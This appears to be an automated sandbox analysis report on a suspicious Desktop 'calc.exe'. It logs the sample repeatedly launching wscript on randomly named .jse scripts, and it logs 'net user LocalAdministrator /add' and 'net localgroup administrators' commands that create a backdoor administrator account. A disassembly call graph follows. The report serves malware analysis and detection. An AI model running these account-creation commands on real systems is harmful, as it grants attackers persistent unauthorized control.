Wow64 process (32bit):true
Commandline:"C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Imagebase:0x70000
File size:47'104 bytes
MD5 hash:31890A7DE89936F922D44D677F681A7F
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high
Has exited:true

General

Target ID:6
Start time:15:45:30
Start date:01/10/2024
Path:C:\Windows\System32\conhost.exe
Wow64 process (32bit):false
Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:0x7ff6ee680000
File size:862'208 bytes
MD5 hash:0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high
Has exited:true

General

Target ID:7
Start time:15:45:30
Start date:01/10/2024
Path:C:\Users\user\Desktop\calc.exe
Wow64 process (32bit):true
Commandline:"C:\Users\user\Desktop\calc.exe"
Imagebase:0x400000
File size:206'377 bytes
MD5 hash:2F9FDAD776D8626F2CE8625211831E91
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:low
Has exited:true

General

Target ID:8
Start time:15:45:30
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):true
Commandline:C:\Windows\system32\net1 user LocalAdministrator /add
Imagebase:0x200000
File size:139'776 bytes
MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high
Has exited:true

General

Target ID:9
Start time:15:45:30
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):true
Commandline:C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Imagebase:0x200000
File size:139'776 bytes
MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high
Has exited:true

General

Target ID:10
Start time:15:45:30
Start date:01/10/2024
Path:C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):true
Commandline:"C:\Windows\System32\wscript.exe" 10a1DJwqnr.jse
Imagebase:0xbb0000
File size:147'456 bytes
MD5 hash:FF00E0480075B095948000BDC66E81F0
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high
Has exited:true

General

Target ID:11
Start time:15:45:31
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):true
Commandline:"C:\Windows\System32\net.exe" user LocalAdministrator /add
Imagebase:0x70000
File size:47'104 bytes
MD5 hash:31890A7DE89936F922D44D677F681A7F
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high
Has exited:true

General

Target ID:12
Start time:15:45:31
Start date:01/10/2024
Path:C:\Windows\System32\conhost.exe
Wow64 process (32bit):false
Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:0x7ff6ee680000
File size:862'208 bytes
MD5 hash:0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high
Has exited:true

General

Target ID:13
Start time:15:45:31
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):true
Commandline:"C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Imagebase:0x70000
File size:47'104 bytes
MD5 hash:31890A7DE89936F922D44D677F681A7F
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Reputation:high
Has exited:true

General

Target ID:14
Start time:15:45:31
Start date:01/10/2024
Path:C:\Windows\System32\conhost.exe
Wow64 process (32bit):false
Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:0x7ff6ee680000
File size:862'208 bytes
MD5 hash:0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:15
Start time:15:45:31
Start date:01/10/2024
Path:C:\Users\user\Desktop\calc.exe
Wow64 process (32bit):true
Commandline:"C:\Users\user\Desktop\calc.exe"
Imagebase:0x400000
File size:206'377 bytes
MD5 hash:2F9FDAD776D8626F2CE8625211831E91
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:16
Start time:15:45:31
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):true
Commandline:C:\Windows\system32\net1 user LocalAdministrator /add
Imagebase:0x200000
File size:139'776 bytes
MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:17
Start time:15:45:31
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):true
Commandline:C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Imagebase:0x200000
File size:139'776 bytes
MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:18
Start time:15:45:31
Start date:01/10/2024
Path:C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):true
Commandline:"C:\Windows\System32\wscript.exe" Kiql0emrm5.jse
Imagebase:0xbb0000
File size:147'456 bytes
MD5 hash:FF00E0480075B095948000BDC66E81F0
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:19
Start time:15:45:32
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):true
Commandline:"C:\Windows\System32\net.exe" user LocalAdministrator /add
Imagebase:0x70000
File size:47'104 bytes
MD5 hash:31890A7DE89936F922D44D677F681A7F
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:20
Start time:15:45:32
Start date:01/10/2024
Path:C:\Windows\System32\conhost.exe
Wow64 process (32bit):false
Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:0x7ff6ee680000
File size:862'208 bytes
MD5 hash:0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:21
Start time:15:45:32
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):true
Commandline:"C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Imagebase:0x70000
File size:47'104 bytes
MD5 hash:31890A7DE89936F922D44D677F681A7F
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:22
Start time:15:45:32
Start date:01/10/2024
Path:C:\Windows\System32\conhost.exe
Wow64 process (32bit):false
Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:0x7ff6ee680000
File size:862'208 bytes
MD5 hash:0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:23
Start time:15:45:32
Start date:01/10/2024
Path:C:\Users\user\Desktop\calc.exe
Wow64 process (32bit):true
Commandline:"C:\Users\user\Desktop\calc.exe"
Imagebase:0x400000
File size:206'377 bytes
MD5 hash:2F9FDAD776D8626F2CE8625211831E91
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:24
Start time:15:45:32
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):true
Commandline:C:\Windows\system32\net1 user LocalAdministrator /add
Imagebase:0x200000
File size:139'776 bytes
MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:25
Start time:15:45:32
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):true
Commandline:C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Imagebase:0x200000
File size:139'776 bytes
MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:26
Start time:15:45:33
Start date:01/10/2024
Path:C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):true
Commandline:"C:\Windows\System32\wscript.exe" mdWettqHRh.jse
Imagebase:0xbb0000
File size:147'456 bytes
MD5 hash:FF00E0480075B095948000BDC66E81F0
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:27
Start time:15:45:34
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):true
Commandline:"C:\Windows\System32\net.exe" user LocalAdministrator /add
Imagebase:0x70000
File size:47'104 bytes
MD5 hash:31890A7DE89936F922D44D677F681A7F
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:28
Start time:15:45:34
Start date:01/10/2024
Path:C:\Windows\System32\conhost.exe
Wow64 process (32bit):false
Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:0x7ff6ee680000
File size:862'208 bytes
MD5 hash:0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:29
Start time:15:45:34
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):true
Commandline:"C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Imagebase:0x70000
File size:47'104 bytes
MD5 hash:31890A7DE89936F922D44D677F681A7F
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:30
Start time:15:45:34
Start date:01/10/2024
Path:C:\Windows\System32\conhost.exe
Wow64 process (32bit):false
Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:0x7ff6ee680000
File size:862'208 bytes
MD5 hash:0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:31
Start time:15:45:34
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):true
Commandline:C:\Windows\system32\net1 user LocalAdministrator /add
Imagebase:0x200000
File size:139'776 bytes
MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:32
Start time:15:45:34
Start date:01/10/2024
Path:C:\Users\user\Desktop\calc.exe
Wow64 process (32bit):true
Commandline:"C:\Users\user\Desktop\calc.exe"
Imagebase:0x400000
File size:206'377 bytes
MD5 hash:2F9FDAD776D8626F2CE8625211831E91
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:33
Start time:15:45:34
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):true
Commandline:C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Imagebase:0x200000
File size:139'776 bytes
MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:34
Start time:15:45:34
Start date:01/10/2024
Path:C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):true
Commandline:"C:\Windows\System32\wscript.exe" KobIITTimt.jse
Imagebase:0xbb0000
File size:147'456 bytes
MD5 hash:FF00E0480075B095948000BDC66E81F0
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:35
Start time:15:45:35
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):true
Commandline:"C:\Windows\System32\net.exe" user LocalAdministrator /add
Imagebase:0x70000
File size:47'104 bytes
MD5 hash:31890A7DE89936F922D44D677F681A7F
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:36
Start time:15:45:35
Start date:01/10/2024
Path:C:\Windows\System32\conhost.exe
Wow64 process (32bit):false
Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:0x7ff6ee680000
File size:862'208 bytes
MD5 hash:0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:37
Start time:15:45:35
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):true
Commandline:"C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Imagebase:0x70000
File size:47'104 bytes
MD5 hash:31890A7DE89936F922D44D677F681A7F
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:38
Start time:15:45:35
Start date:01/10/2024
Path:C:\Windows\System32\conhost.exe
Wow64 process (32bit):false
Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:0x7ff6ee680000
File size:862'208 bytes
MD5 hash:0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:39
Start time:15:45:35
Start date:01/10/2024
Path:C:\Users\user\Desktop\calc.exe
Wow64 process (32bit):true
Commandline:"C:\Users\user\Desktop\calc.exe"
Imagebase:0x400000
File size:206'377 bytes
MD5 hash:2F9FDAD776D8626F2CE8625211831E91
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:40
Start time:15:45:35
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):true
Commandline:C:\Windows\system32\net1 user LocalAdministrator /add
Imagebase:0x200000
File size:139'776 bytes
MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:41
Start time:15:45:35
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):true
Commandline:C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Imagebase:0x200000
File size:139'776 bytes
MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:42
Start time:15:45:36
Start date:01/10/2024
Path:C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):true
Commandline:"C:\Windows\System32\wscript.exe" dLMJwKQlPv.jse
Imagebase:0xbb0000
File size:147'456 bytes
MD5 hash:FF00E0480075B095948000BDC66E81F0
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:43
Start time:15:45:36
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):true
Commandline:"C:\Windows\System32\net.exe" user LocalAdministrator /add
Imagebase:0x70000
File size:47'104 bytes
MD5 hash:31890A7DE89936F922D44D677F681A7F
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:44
Start time:15:45:36
Start date:01/10/2024
Path:C:\Windows\System32\conhost.exe
Wow64 process (32bit):false
Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:0x7ff6ee680000
File size:862'208 bytes
MD5 hash:0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:45
Start time:15:45:36
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):true
Commandline:"C:\Windows\System32\net.exe" localgroup administrators LocalAdministrator /add
Imagebase:0x70000
File size:47'104 bytes
MD5 hash:31890A7DE89936F922D44D677F681A7F
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:46
Start time:15:45:36
Start date:01/10/2024
Path:C:\Windows\System32\conhost.exe
Wow64 process (32bit):false
Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:0x7ff6ee680000
File size:862'208 bytes
MD5 hash:0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:47
Start time:15:45:36
Start date:01/10/2024
Path:C:\Users\user\Desktop\calc.exe
Wow64 process (32bit):true
Commandline:"C:\Users\user\Desktop\calc.exe"
Imagebase:0x400000
File size:206'377 bytes
MD5 hash:2F9FDAD776D8626F2CE8625211831E91
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:48
Start time:15:45:36
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):true
Commandline:C:\Windows\system32\net1 user LocalAdministrator /add
Imagebase:0x200000
File size:139'776 bytes
MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:49
Start time:15:45:36
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net1.exe
Wow64 process (32bit):true
Commandline:C:\Windows\system32\net1 localgroup administrators LocalAdministrator /add
Imagebase:0x200000
File size:139'776 bytes
MD5 hash:2EFE6ED4C294AB8A39EB59C80813FEC1
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:50
Start time:15:45:37
Start date:01/10/2024
Path:C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):true
Commandline:"C:\Windows\System32\wscript.exe" aw1HUl4bYu.jse
Imagebase:0xbb0000
File size:147'456 bytes
MD5 hash:FF00E0480075B095948000BDC66E81F0
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:51
Start time:15:45:37
Start date:01/10/2024
Path:C:\Windows\SysWOW64\net.exe
Wow64 process (32bit):true
Commandline:"C:\Windows\System32\net.exe" user LocalAdministrator /add
Imagebase:0x70000
File size:47'104 bytes
MD5 hash:31890A7DE89936F922D44D677F681A7F
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

General

Target ID:52
Start time:15:45:37
Start date:01/10/2024
Path:C:\Windows\System32\conhost.exe
Wow64 process (32bit):false
Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:0x7ff6ee680000
File size:862'208 bytes
MD5 hash:0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:true
Has administrator privileges:true
Programmed in:C, C++ or other language
Has exited:true

Disassembly

Reset < >

    Execution Graph

    Execution Coverage:4.8%
    Dynamic/Decrypted Code Coverage:0%
    Signature Coverage:10.7%
    Total number of Nodes:1881
    Total number of Limit Nodes:23
    execution_graph 48856 401641 48859 40165b 48856->48859 48860 40166e 48859->48860 48861 401782 48860->48861 48862 40167f 48860->48862 48868 401657 48860->48868 48865 4017fb 48861->48865 48866 40178b 48861->48866 48863 401685 48862->48863 48864 40174c 48862->48864 48870 401711 SetTimer RegisterClipboardFormatW 48863->48870 48871 40168e 48863->48871 48869 42a895 3 API calls 48864->48869 48931 4126bc 46 API calls 48865->48931 48872 4017eb 48866->48872 48873 40178f 48866->48873 48876 401777 48869->48876 48870->48868 48875 40173c CreatePopupMenu 48870->48875 48877 401691 48871->48877 48878 4016f2 KillTimer 48871->48878 48930 4125ea 39 API calls 48872->48930 48880 4017d3 48873->48880 48881 401796 48873->48881 48874 4017f9 48874->48868 48875->48868 48905 42026c 48876->48905 48884 4016d1 MoveWindow 48877->48884 48885 401696 48877->48885 48904 412dd7 Shell_NotifyIconW 48878->48904 48880->48868 48929 401825 34 API calls 48880->48929 48886 4017c1 48881->48886 48887 40179d 48881->48887 48884->48868 48890 4016c0 SetFocus 48885->48890 48891 40169a 48885->48891 48928 412e32 53 API calls 48886->48928 48887->48868 48926 412dd7 Shell_NotifyIconW 48887->48926 48888 401705 PostQuitMessage 48888->48868 48890->48868 48891->48887 48893 4016a3 48891->48893 48898 42a895 48893->48898 48896 4017ba 48927 4128c6 69 API calls 48896->48927 48899 42a8a6 48898->48899 48900 42a8d4 48898->48900 48932 42fcc3 LoadLibraryA GetProcAddress 48899->48932 48900->48868 48902 42a8bd 48902->48900 48903 42a8c4 Sleep 48902->48903 48903->48902 48904->48888 48933 4323fe 48905->48933 48913 4202d3 CharUpperBuffW 48948 418048 38 API calls 48913->48948 48915 4202f4 48916 418a14 VariantClear 48915->48916 48917 42030b 48916->48917 48918 416bfe 34 API calls 48917->48918 48919 420318 CharUpperBuffW 48918->48919 48949 418048 38 API calls 48919->48949 48921 420333 48950 421406 48921->48950 48925 420367 48925->48868 48926->48896 48927->48868 48928->48868 48929->48868 48930->48874 48931->48874 48932->48902 48934 416bfe 34 API calls 48933->48934 48935 43240f 48934->48935 48987 413afa 48935->48987 48937 420296 48937->48925 48938 416d00 48937->48938 48990 416f5d 48938->48990 48940 416d0d 48941 418a14 48940->48941 48942 4183f6 ctype VariantClear 48941->48942 48943 418a1b 48942->48943 48944 416bfe 48943->48944 48945 416c07 48944->48945 48946 449170 34 API calls 48945->48946 48947 416c16 48946->48947 48947->48913 48948->48915 48949->48921 49048 4181c7 48950->49048 48952 421424 48953 4181c7 37 API calls 48952->48953 48954 421436 48953->48954 49074 416c4c 48954->49074 48956 42146b 48957 4181c7 37 API calls 48956->48957 48958 4214ad 48957->48958 48959 4214c8 48958->48959 49100 416a9f 48958->49100 49077 4200f5 48959->49077 48963 4214e2 48965 4214f2 48963->48965 49106 421751 VariantClear 48963->49106 49107 418874 48965->49107 48968 4214fe 48969 418874 38 API calls 48968->48969 48970 42150a 48969->48970 49135 4034ed 34 API calls 48970->49135 48972 42151e 49136 416cee 34 API calls 48972->49136 48974 421535 48975 421574 48974->48975 48977 418874 38 API calls 48974->48977 48976 4183f6 ctype VariantClear 48975->48976 48978 42157c 48976->48978 48977->48975 48979 4183f6 ctype VariantClear 48978->48979 48980 42158d 48979->48980 48981 4183f6 ctype VariantClear 48980->48981 48982 42035d 48981->48982 48983 4183f6 48982->48983 48984 418401 ctype 48983->48984 48985 41840f VariantClear 48984->48985 48986 418416 ctype 48984->48986 48985->48986 48986->48925 48988 413b19 CharUpperBuffW 48987->48988 48989 413b0a 48987->48989 48988->48989 48989->48937 48991 416f6a 48990->48991 48994 416cb6 48991->48994 48993 416f75 48993->48940 48995 416cd3 48994->48995 48996 416cbe 48994->48996 48995->48993 48998 449170 48996->48998 49001 449ab3 48998->49001 49002 44917b 49001->49002 49004 449aba __getbuf 49001->49004 49002->48995 49004->49002 49005 449a38 49004->49005 49006 449a44 __lock 49005->49006 49008 449a77 49006->49008 49015 44c6db 49006->49015 49007 449a92 RtlAllocateHeap 49010 449aa1 __lock 49007->49010 49008->49007 49008->49010 49010->49004 49011 449a5f 49022 44e8f5 5 API calls __getbuf 49011->49022 49013 449a6a 49023 449aaa RtlLeaveCriticalSection __lock 49013->49023 49016 44c701 RtlEnterCriticalSection 49015->49016 49017 44c6ee 49015->49017 49016->49011 49024 44c63b 49017->49024 49019 44c6f4 49019->49016 49047 44be4f 34 API calls _fast_error_exit 49019->49047 49021 44c700 49021->49016 49022->49013 49023->49008 49025 44c647 __lock 49024->49025 49026 449adf __getbuf 34 API calls 49025->49026 49028 44c66a __lock 49025->49028 49027 44c65e 49026->49027 49029 44c665 49027->49029 49030 44c672 49027->49030 49028->49019 49031 44d915 __lock 34 API calls 49029->49031 49032 44c6db __lock 34 API calls 49030->49032 49031->49028 49033 44c679 49032->49033 49034 44c681 49033->49034 49035 44c6b9 49033->49035 49037 454432 __lock GetProcAddress 49034->49037 49036 449c88 ___free_lc_time 34 API calls 49035->49036 49039 44c6bf 49036->49039 49038 44c68c 49037->49038 49040 44c6b5 49038->49040 49041 44c692 49038->49041 49043 44c6d2 __lock RtlLeaveCriticalSection 49039->49043 49040->49039 49042 449c88 ___free_lc_time 34 API calls 49041->49042 49044 44c698 49042->49044 49043->49028 49045 44d915 __lock 34 API calls 49044->49045 49046 44c69d __lock 49045->49046 49046->49028 49047->49021 49049 4181e2 49048->49049 49073 4181ff 49048->49073 49050 418270 49049->49050 49051 4182b5 49049->49051 49052 4182d5 49049->49052 49053 4181e9 49049->49053 49054 41822c 49049->49054 49049->49073 49061 449170 34 API calls 49050->49061 49050->49073 49055 449170 34 API calls 49051->49055 49058 449170 34 API calls 49052->49058 49057 449170 34 API calls 49053->49057 49056 449170 34 API calls 49054->49056 49059 4182bc 49055->49059 49056->49073 49060 4181f0 49057->49060 49062 4182dc 49058->49062 49063 4182c8 49059->49063 49137 41817f 34 API calls 49059->49137 49070 416c4c 34 API calls 49060->49070 49060->49073 49064 41827f VariantInit VariantCopy 49061->49064 49065 4182ed 49062->49065 49066 41830e 49062->49066 49138 4174f2 34 API calls 49063->49138 49071 41829b VariantClear 49064->49071 49064->49073 49072 449170 34 API calls 49065->49072 49067 449170 34 API calls 49066->49067 49067->49073 49070->49073 49071->49073 49072->49073 49073->48952 49075 449170 34 API calls 49074->49075 49076 416c5e 49075->49076 49076->48956 49078 42012a 49077->49078 49079 42010d 49077->49079 49081 4323fe 35 API calls 49078->49081 49088 420165 49078->49088 49194 41faee 51 API calls _fast_error_exit 49079->49194 49082 420153 49081->49082 49086 421406 324 API calls 49082->49086 49082->49088 49083 4201d8 49084 420122 49083->49084 49087 42a895 3 API calls 49083->49087 49084->48963 49105 416bba VariantClear 49084->49105 49086->49088 49090 42020e 49087->49090 49088->49083 49089 4201da 49088->49089 49139 42003a 49088->49139 49148 42036e 49088->49148 49170 4320d3 49088->49170 49093 418a14 VariantClear 49089->49093 49190 406ad8 49090->49190 49093->49083 49094 420218 49094->49084 49095 42026c 324 API calls 49094->49095 49096 420227 LockWindowUpdate KiUserCallbackDispatcher 49095->49096 49097 420256 GetMessageW 49096->49097 49097->49084 49099 420242 TranslateMessage DispatchMessageW 49097->49099 49099->49097 49987 416b91 49100->49987 49104 416ac1 49104->48959 49105->48963 49106->48963 49108 418881 49107->49108 49134 4188a0 49107->49134 49109 4183f6 ctype VariantClear 49108->49109 49110 418888 49109->49110 49111 4188c1 49110->49111 49112 4188e3 49110->49112 49113 418992 49110->49113 49114 418927 49110->49114 49115 41896e 49110->49115 49110->49134 49116 449170 34 API calls 49111->49116 49118 449170 34 API calls 49112->49118 49117 449170 34 API calls 49113->49117 49122 449170 34 API calls 49114->49122 49114->49134 49119 449170 34 API calls 49115->49119 49121 4188c8 49116->49121 49123 418999 49117->49123 49118->49134 49120 418975 49119->49120 49124 418981 49120->49124 49999 41817f 34 API calls 49120->49999 49130 416c4c 34 API calls 49121->49130 49121->49134 49125 418937 VariantInit VariantCopy 49122->49125 49126 4189cb 49123->49126 49127 4189aa 49123->49127 50000 4174f2 34 API calls 49124->50000 49131 418953 VariantClear 49125->49131 49125->49134 49128 449170 34 API calls 49126->49128 49132 449170 34 API calls 49127->49132 49128->49134 49130->49134 49131->49134 49132->49134 49134->48968 49135->48972 49136->48974 49137->49063 49138->49073 49140 420056 PeekMessageW 49139->49140 49141 420049 49139->49141 49143 42006e 49140->49143 49145 4200af 49140->49145 49141->49140 49142 420052 49141->49142 49142->49088 49143->49145 49146 420087 TranslateMessage DispatchMessageW 49143->49146 49147 42009b PeekMessageW 49143->49147 49195 4042c8 GetClassNameW IsDialogMessageW 49143->49195 49145->49088 49146->49147 49147->49143 49147->49145 49196 4209de 49148->49196 49151 420415 49151->49088 49152 42038e Sleep 49152->49151 49154 42039f 49154->49151 49205 420acc 329 API calls ctype 49154->49205 49156 4203aa 49156->49151 49157 4203ae 49156->49157 49206 420d89 329 API calls ctype 49157->49206 49159 4203b4 49159->49151 49207 420c75 329 API calls ctype 49159->49207 49161 4203bd 49161->49151 49162 42040a 49161->49162 49163 4203ca GetExitCodeProcess 49161->49163 49208 43857c 110 API calls 49162->49208 49163->49152 49164 4203e5 CloseHandle 49163->49164 49166 418a14 VariantClear 49164->49166 49168 4203fb 49166->49168 49167 420411 49167->49151 49209 43efe7 102 API calls 49167->49209 49168->49151 49171 4320fc 49170->49171 49172 4321d1 49171->49172 49173 432107 49171->49173 49329 433470 49172->49329 49174 432199 49173->49174 49175 43210e 49173->49175 49318 4321ef 49174->49318 49178 432113 49175->49178 49179 43218c 49175->49179 49180 432197 49178->49180 49184 43217c 49178->49184 49186 43211d 49178->49186 49261 432d09 49179->49261 49181 4183f6 ctype VariantClear 49180->49181 49183 4321e8 49181->49183 49183->49088 49211 43244b 49184->49211 49187 432122 49186->49187 49384 433276 49186->49384 49187->49180 49413 41faee 51 API calls _fast_error_exit 49187->49413 49191 406aec 49190->49191 49192 406b20 49191->49192 49986 40c431 InvalidateRect 49191->49986 49192->49094 49194->49084 49195->49143 49197 4209f6 49196->49197 49203 42037c 49196->49203 49198 4323fe 35 API calls 49197->49198 49197->49203 49199 420a81 49198->49199 49210 416cee 34 API calls 49199->49210 49201 420a9d 49202 421406 329 API calls 49201->49202 49202->49203 49203->49151 49203->49152 49204 42093f 329 API calls 49203->49204 49204->49154 49205->49156 49206->49159 49207->49161 49208->49167 49209->49151 49210->49201 49212 432465 49211->49212 49213 4323fe 35 API calls 49212->49213 49214 43247f 49213->49214 49215 432483 49214->49215 49222 432496 49214->49222 49427 432c28 234 API calls 2 library calls 49215->49427 49217 432491 49217->49187 49219 432864 49221 4183f6 ctype VariantClear 49219->49221 49220 43256f 49414 421630 49220->49414 49223 432bf1 49221->49223 49222->49220 49224 421630 34 API calls 49222->49224 49258 432541 49222->49258 49225 4183f6 ctype VariantClear 49223->49225 49224->49222 49227 432bf9 49225->49227 49228 4183f6 ctype VariantClear 